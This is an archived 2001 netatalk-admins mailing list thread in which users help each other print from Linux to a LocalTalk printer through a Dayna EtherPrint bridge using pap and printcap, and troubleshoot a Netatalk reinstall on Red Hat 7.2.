If I correctly understand the manual, I have to address the Dayna-Box like
a server in a network environment, but the box itself has no IP-address (a
name and serial-number it has, though).
Thanks in advance for any help you can offer me,

Markus Kuschnik (markus.kuschnik@t-online.de)


From netatalk.administrators-errors@umich.edu  Fri Nov 30 07:01:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 07:01:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA18203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 07:01:40 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA18182
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 07:01:40 -0500 (EST)
Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA18008
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 07:01:34 -0500 (EST)
Received: from colonyuk.demon.co.uk ([158.152.173.186] helo=colony.com)
	by tele-post-20.mail.demon.net with esmtp (Exim 2.12 #2)
	id 169mMD-000FKI-0K
	for netatalk-admins@umich.edu; Fri, 30 Nov 2001 12:01:30 +0000
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Fri, 30 Nov 2001 11:51:05 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102806b82d20c34d90@[172.20.192.150]>
In-Reply-To: <B82D286F.275%markus.kuschnik@t-online.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 30 Nov 2001 11:50:57 +0000
To: netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: Help: Printing in Linux (ppc) via a Dayna MiniEtherphrint
 device?

Markus Kuschnik wrote:

>If I correctly understand the manual, I have to address the Dayna-Box like
>a server in a network environment, but the box itself has no IP-address (a
>name and serial-number it has, though).
>Thanks in advance for any help you can offer me,

I'm not familiar with this particular print server but in general they seem
to follow some basic design features ...

If they support TCP/IP (not all of them do), then they usually come with a
default configuration which will attempt to get an address by BOOTP or
DHCP. If you have a suitable server then that may be enough.

If you have to manually configure them then there are usually a couple of
ways to do it :

1) Use ARP on a unix machine to relate an IP address and the MAC address.
>From the Unix machine you can then either Telnet or TFTP into the box and
configure it. With the NetGear servers I use, the existing config is
downloaded from the unit with TFTP, edited, and then uploaded with TFTP.

2) Use a configuration tool (usually windows based) supplied by the
manufacturer to configure it.

All this SHOULD be covered in the manuals, but I find that many of the
manuals are pitiful (to be polite !) in their lack of information. There is
often more info on the manufacturers web site.


Once you have the print server set up, you can use netcat to send you data
to it. You use netcat exactly as you would use cat to output on a terminal
- except that it puts the output to a specified network port.

Typically, you would edit the print filter along these lines :

(
all the print filter stuff to create the print data
) | nc myprinter.mydomain.com someportnumber



Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Fri Nov 30 07:27:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08698
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 07:27:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA07937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 07:27:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA07930
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 07:27:13 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA07918
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 07:27:12 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA12898;
	Fri, 30 Nov 2001 13:49:20 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 30 Nov 2001 13:27:12 +0100
Subject: Re: Help: Printing in Linux (ppc) via a Dayna MiniEtherphrint
	device?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Markus Kuschnik <markus.kuschnik@t-online.de>, <netatalk-admins@umich.edu>
Message-ID: <B82D39AF.15603%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B82D286F.275%markus.kuschnik@t-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 30 Nov 2001 12:13:35 +0100, Markus Kuschnik wrote:

> I didn't find a way to implement the HP LaserJet 4ML (300x300 dpi)
> which is connected to the Mac via a Dayna Mini EtherPrint-device.

The first step would be to connect to the Dayna. I assume that this device
speaks EtherTalk, so you cannot connect using LPR. To verify this type
'nbplkup =:Laserwriter' on the command line. If you the Dayna box will show
up, you have to use PAP instead of LPR. A good tutorial can be found here:

    <http://www.giub.unibe.ch/~eugster/appleprint.html>

If printing works locally from linux, you should simply share your printer
with an appropriate entry in papd.conf. This is covered in section 3.4 in
the tutorial above, and also in 'man papd'. You should take care of the
syntax for papd.conf and the way how to specify which local printer to use
(see <http://www.rodsbooks.com/network/network-netatalk.html> for details)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Nov 30 07:57:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA09472
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 07:57:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA19681
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 07:57:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA19679
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 07:57:52 -0500 (EST)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA19675
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 07:57:51 -0500 (EST)
Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [65.96.249.14])
	by chmls06.mediaone.net (8.11.1/8.11.1) with ESMTP id fAUCwY810386
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 07:58:34 -0500 (EST)
Message-ID: <3C07824C.94707BFC@brandeis.edu>
Date: Fri, 30 Nov 2001 07:58:02 -0500
From: SF Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
X-Mailer: Mozilla 4.76C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Help: Printing in Linux (ppc) via a Dayna MiniEtherphrintdevice?
References: <v03102806b82d20c34d90@[172.20.192.150]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Simon Hobson wrote:
> 
> Markus Kuschnik wrote:
> 
> >If I correctly understand the manual, I have to address the Dayna-Box like
> >a server in a network environment, but the box itself has no IP-address (a
> >name and serial-number it has, though).
> >Thanks in advance for any help you can offer me,
> 
> I'm not familiar with this particular print server but in general they seem
> to follow some basic design features ...
> 
> If they support TCP/IP (not all of them do), then they usually come with a
> default configuration which will attempt to get an address by BOOTP or
> DHCP. If you have a suitable server then that may be enough.
> 

The Dayna Mini Etherprint doesn't support TCP/IP, only appletalk. See http://support.intel.com/support/dayna/etherfaq.htm

What you need to do is to send jobs to the printer from netatalk using
appletalk (with the 'pap' program), and configure your lpd daemon on
linux to pass jobs on to pap. Look for other messages on this list or in
the documentation for instructions on using pap.

steven

From netatalk.administrators-errors@umich.edu  Fri Nov 30 09:24:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12052
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 09:24:28 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA10520
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 09:24:28 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA10514
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 09:24:27 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA10371
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 09:24:26 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <X6MKM4RS>; Fri, 30 Nov 2001 09:18:15 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D7434@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Netatalk help
Date: Fri, 30 Nov 2001 09:18:14 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C179A9.D9937C80"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C179A9.D9937C80
Content-Type: text/plain

I am having troubles getting Netatalk 1.4b2 to work on my new system.  I am
extremely new to Linux I was able to get apple talk up and running the first
day I had the server, everything was working well and I was excited.  The
real test was wiping the drive and doing it again.  So I wiped my drive and
reinstalled Red Hat 7.2 and now for the life of me I can not get the Linux
box on the Apple talk network.

I have followed directions for www.anders.com <www.anders.com>  and
www.linuxdocs.com <www.linuxdocs.com>  and to no avail.  I start the service
and I get no error messages.  

Can someone with some experience with Netatalk help me out?

Thanks in advance,

Brian Curtis

Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


------_=_NextPart_001_01C179A9.D9937C80
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Netatalk help</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">I am having troubles getting Netatalk =
1.4b2 to work on my new system.&nbsp; I am extremely new to Linux I was =
able to get apple talk up and running the first day I had the server, =
everything was working well and I was excited.&nbsp; The real test was =
wiping the drive and doing it again.&nbsp; So I wiped my drive and =
reinstalled Red Hat 7.2 and now for the life of me I can not get the =
Linux box on the Apple talk network.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have followed directions for =
</FONT><A HREF=3D"www.anders.com"><U><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial">www.anders.com</FONT></U></A><FONT SIZE=3D2 =
FACE=3D"Arial"> and </FONT><A HREF=3D"www.linuxdocs.com"><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Arial">www.linuxdocs.com</FONT></U></A><FONT SIZE=3D2 =
FACE=3D"Arial"> and to no avail.&nbsp; I start the service and I get no =
error messages.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Can someone with some experience with =
Netatalk help me out?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks in advance,</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Brian Curtis</FONT></B>
</P>

<P><I><FONT SIZE=3D2 FACE=3D"Arial">Information Technology =
Manager</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">Red-Wire</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">Kelliher Samets Volk</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">802.862.8261</FONT></I>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C179A9.D9937C80--

From netatalk.administrators-errors@umich.edu  Fri Nov 30 09:25:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12096
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 09:25:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA28398
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 09:25:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA28387
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 09:25:30 -0500 (EST)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA28328
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 09:25:27 -0500 (EST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.6)
          with ESMTP id fAUEPQR10261;
          Fri, 30 Nov 2001 14:25:26 GMT
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05100300b82d3539ed53@[192.168.195.62]>
In-Reply-To: <B82D286F.275%markus.kuschnik@t-online.de>
References: <B82D286F.275%markus.kuschnik@t-online.de>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Fri, 30 Nov 2001 14:25:25 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re:Help: Printing in Linux (ppc) via a Dayna MiniEtherphrint device?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Markus Kuschnik's message of the 30/11/2001 at 12:13 +0100,


>If I correctly understand the manual, I have to address the Dayna-Box like
>a server in a network environment, but the box itself has no IP-address

This is because it is not an IP device; it is an ethertalk-localtalk 
bridge. It has a localtalk interface (min-DIN 8) and an ethernet 
interface (10 B2, thin ethernet). It connects your localtalk 
(APPleTAlk over serial cabking) LAN to your ethertalk (AppleTAlk oevr 
ethernet) LAN.

I have that connects my LaserWriter 4/600 (which is a localtalk-only 
printer) to the rest of my LAN. At one stage I had Newtons, and early 
PowerBooks on the localtalk LAN, but these days, only the printer is 
left. I can print to this printer from my Linux, Solaris and NT 
boxes. The last uses MS's AppleTalk stack . For Linux and Solaris, 
netatalk does indeed provide th eneeded functionality.

First install and configure netatalk so you have AppleTalk working on 
the Linux box. See the FAQ, readme's etc for this. You need to either 
compile in AppleTalk support into the kernel or build it as a module. 
At this point, you should be able to "see" the printer using nbplkup. 
For example, if I do that here, I get:

[root@fe root]# nbplkup
                              fe:AFPServer 
65280.145:128
                              fe:netatalk                           65280.145:4
                              fe:Workstation                        65280.145:4
                              Ph:  Power Macintosh 
65280.106:252
                              Ph:Workstation                        65280.106:4
                              cu:AFPServer                          65280.18:128
                              cu:netatalk                           65280.18:4
                              cu:Workstation                        65280.18:4
            LaserWriter 4/600 PS:LaserWriter 
65520.133:128  <--- !!!

All the devices are on net 65280 (ethertalk) except for the printer, 
which is on net 65520 (you don't have to worry about assigning these, 
Appletalk sorts itself out automagically).

To print to the printer, you need to use PAP (printer access 
protocol). 2 utilities, pap and papstatus comes with netatalk. Check 
that these work as follows:

[root@fe root]# papstatus -p "LaserWriter 4/600 PS"
status: idle

or

cat something.ps | pap -p "LaserWriter 4/600 PS"

(it has to be a PostScript file). Now all that is left is to 
integrate these into your printing system.

How you do this depends on which printing system you use. I use RH7.2 
and LPRng, so adapt as appropriate. Use the GUI tools or CLI as you 
see fit. First, create an entry for the printer in /etc/printcap. For 
mine, I use

laser|lp|LaserWriter LW600 on AppleTalk:\
     :cm=LaserWriter 4/600\
     :sd=/var/spool/lpd/laser:\
     :sh=true:\
     :lp=/dev/null:\
     :lf=/var/log/lpd-errs:pw#80:\
     :of=/usr/local/atalk/etc/filters/ofpap:\
     :if=/usr/local/atalk/etc/filters/ifpap:\
     :tf=/usr/local/atalk/etc/filters/tfpap:\
     :df=/usr/local/atalk/etc/filters/dfpap:

Do a "man printcap" to find out what it all means; "man psf" to find 
out about the filters available. Now create the spool directory named 
in the "sd=" clause; in my case, it is /var/spool/lpd/laser. Make 
sure the owner and permissions are correct:

/var/spool/lpd:
drwx------    2 lp       lp           1024 Nov 30 01:54 laser

/var/spool/lpd/laser:
-rw-------    1 lp       lp             33 Dec 27  1997 .paprc

The file .paprc has the name of the printer:

cat /var/spool/lpd/laser/.paprc
LaserWriter 4/600 PS:LaserWriter

That's about it: just restart the lpd and enable the printer. Test to 
check the filters are invokved automatically; eg

ls -l | lp

or

man -t pap | lp

Good luck!
-- 
Sak Wathanasin
Network Analysis Limited

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Fri Nov 30 10:54:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15773
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 10:54:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA20446
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 10:54:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA20437
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 10:54:47 -0500 (EST)
Received: from Mail6.Carolina.rr.com (fe6.southeast.rr.com [24.93.67.53])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA20417
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 10:54:46 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by Mail6.Carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Fri, 30 Nov 2001 10:54:45 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b82d5ad4e5dc@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D7434@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7434@ksvcmail.ksvc.com>
Date: Fri, 30 Nov 2001 10:54:44 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Netatalk help
Content-Type: multipart/alternative; boundary="============_-1204986810==_ma============"

--============_-1204986810==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I am having troubles getting Netatalk 1.4b2 to work on my new 
>system.  I am extremely new to Linux I was able to get apple talk up 
>and running the first day I had the server, everything was working 
>well and I was excited.  The real test was wiping the drive and 
>doing it again.  So I wiped my drive and reinstalled Red Hat 7.2 and 
>now for the life of me I can not get the Linux box on the Apple talk 
>network.
>
>I have followed directions for <>www.anders.com and 
><>www.linuxdocs.com and to no avail.  I start the service and I get 
>no error messages. 
>
>Can someone with some experience with Netatalk help me out?
>
>Thanks in advance,
>
>Brian Curtis
>
>Information Technology Manager
>Red-Wire
>Kelliher Samets Volk
>802.862.8261

did you install from RPM? or compile? Netatalk is really simple to 
install and get running. the netatalk.conf is, IMHO, the most widely 
used config file, besides the AppleVolumes.default.

I usually compile and compile with PAM, tcp-wrappers, openSSL(?). How 
do you have it configured now?

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


The opinions stated in this email are not necessarily those of the 
League of Anti-Semitic Jews. 
--============_-1204986810==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: Netatalk help</title></head><body>
<blockquote type="cite" cite><font face="Arial" size="-1">I am having
troubles getting Netatalk 1.4b2 to work on my new system.&nbsp; I am
extremely new to Linux I was able to get apple talk up and running the
first day I had the server, everything was working well and I was
excited.&nbsp; The real test was wiping the drive and doing it again.&nbsp;
So I wiped my drive and reinstalled Red Hat 7.2 and now for the life
of me I can not get the Linux box on the Apple talk
network.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">I have
followed directions for</font> <a href=""><font face="Arial"
size="-1" color="#0000FF"><u>www.anders.com</u></font></a><font
face="Arial" size="-1"> and</font> <a href=""><font face="Arial"
size="-1" color="#0000FF"><u>www.linuxdocs.com</u></font></a><font
face="Arial" size="-1"> and to no avail.&nbsp; I start the service and
I get no error messages.&nbsp;</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">Can someone
with some experience with Netatalk help me out?</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">Thanks in
advance,</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"><b>Brian
Curtis</b></font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1"><i>Information Technology Manager</i></font><br>
<font face="Arial" size="-1"><i>Red-Wire</i></font><br>
<font face="Arial" size="-1"><i>Kelliher Samets Volk</i></font><br>
<font face="Arial" size="-1"><i>802.862.8261</i></font></blockquote>
<div><br></div>
<div>did you install from RPM? or compile? Netatalk is really simple
to install and get running. the netatalk.conf is, IMHO, the most
widely used config file, besides the AppleVolumes.default.</div>
<div><br></div>
<div>I usually compile and compile with PAM, tcp-wrappers, openSSL(?).
How do you have it configured now?</div>
<div><br></div>
<div>-Wes</div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
<br>
The opinions stated in this email are not necessarily those of the
League of Anti-Semitic Jews.</div>
</body>
</html>
--============_-1204986810==_ma============--

From netatalk.administrators-errors@umich.edu  Fri Nov 30 11:02:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16066
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 11:02:31 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA22697
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 11:02:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA22681
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 11:02:30 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA22198
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 11:02:28 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <X6MKM4W1>; Fri, 30 Nov 2001 10:56:03 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D7437@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'Wes Yates'" <gmac63@carolina.rr.com>,
        "'netatalk-admins@umich.edu'"
	 <netatalk-admins@umich.edu>
Subject: RE: Netatalk help
Date: Fri, 30 Nov 2001 10:56:02 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C179B7.832AC980"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C179B7.832AC980
Content-Type: text/plain

I compiled it.  Does installing from an RPM work better?  My config
defaulted with PAM support which I left alone and I believe Red Hat 7.2 has
TCPWrappers pre-installed.  I honestly don't know what Open SSL is, maybe
that is my problem.
 
Thank you,

Brian Curtis 

Information Technology Manager 
Red-Wire 
Kelliher Samets Volk 
802.862.8261 

-----Original Message-----
From: Wes Yates [mailto:gmac63@carolina.rr.com] 
Sent: Friday, November 30, 2001 10:55 AM
To: netatalk-admins@umich.edu
Subject: Re: Netatalk help



I am having troubles getting Netatalk 1.4b2 to work on my new system.  I am
extremely new to Linux I was able to get apple talk up and running the first
day I had the server, everything was working well and I was excited.  The
real test was wiping the drive and doing it again.  So I wiped my drive and
reinstalled Red Hat 7.2 and now for the life of me I can not get the Linux
box on the Apple talk network.


I have followed directions for www.anders.com and www.linuxdocs.com and to
no avail.  I start the service and I get no error messages. 


Can someone with some experience with Netatalk help me out?


Thanks in advance,


Brian Curtis


Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


did you install from RPM? or compile? Netatalk is really simple to install
and get running. the netatalk.conf is, IMHO, the most widely used config
file, besides the AppleVolumes.default.

I usually compile and compile with PAM, tcp-wrappers, openSSL(?). How do you
have it configured now?

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


The opinions stated in this email are not necessarily those of the League of
Anti-Semitic Jews.


------_=_NextPart_001_01C179B7.832AC980
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<TITLE>Message</TITLE>

<STYLE type=text/css>BLOCKQUOTE {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
DL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
UL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
OL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
LI {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
</STYLE>

<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=666255615-30112001><FONT face=Arial color=#0000ff size=2>I 
compiled it.&nbsp; Does installing from an RPM work better?&nbsp; My config 
defaulted with PAM support which I left alone and I believe Red Hat 7.2 has 
TCPWrappers pre-installed.&nbsp; I honestly don't know what Open SSL is, maybe 
that is my problem.</FONT></SPAN></DIV>
<DIV><SPAN class=666255615-30112001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=666255615-30112001><SPAN class=804090116-30112001><FONT 
face=Arial color=#0000ff size=2>Thank you,</FONT></SPAN></SPAN></DIV><!-- Converted from text/rtf format -->
<P><SPAN lang=en-us><B><FONT face=Arial size=2>Brian Curtis</FONT></B></SPAN> 
</P>
<P><SPAN lang=en-us><I><FONT face=Arial size=2>Information Technology 
Manager</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT face=Arial 
size=2>Red-Wire</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT face=Arial 
size=2>Kelliher Samets Volk</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT 
face=Arial size=2>802.862.8261</FONT></I></SPAN> </P>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
  <DIV></DIV>
  <DIV class=OutlookMessageHeader lang=en-us dir=ltr align=left><FONT 
  face=Tahoma size=2>-----Original Message-----<BR><B>From:</B> Wes Yates 
  [mailto:gmac63@carolina.rr.com] <BR><B>Sent:</B> Friday, November 30, 2001 
  10:55 AM<BR><B>To:</B> netatalk-admins@umich.edu<BR><B>Subject:</B> Re: 
  Netatalk help<BR><BR></FONT></DIV>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>I am having 
    troubles getting Netatalk 1.4b2 to work on my new system.&nbsp; I am 
    extremely new to Linux I was able to get apple talk up and running the first 
    day I had the server, everything was working well and I was excited.&nbsp; 
    The real test was wiping the drive and doing it again.&nbsp; So I wiped my 
    drive and reinstalled Red Hat 7.2 and now for the life of me I can not get 
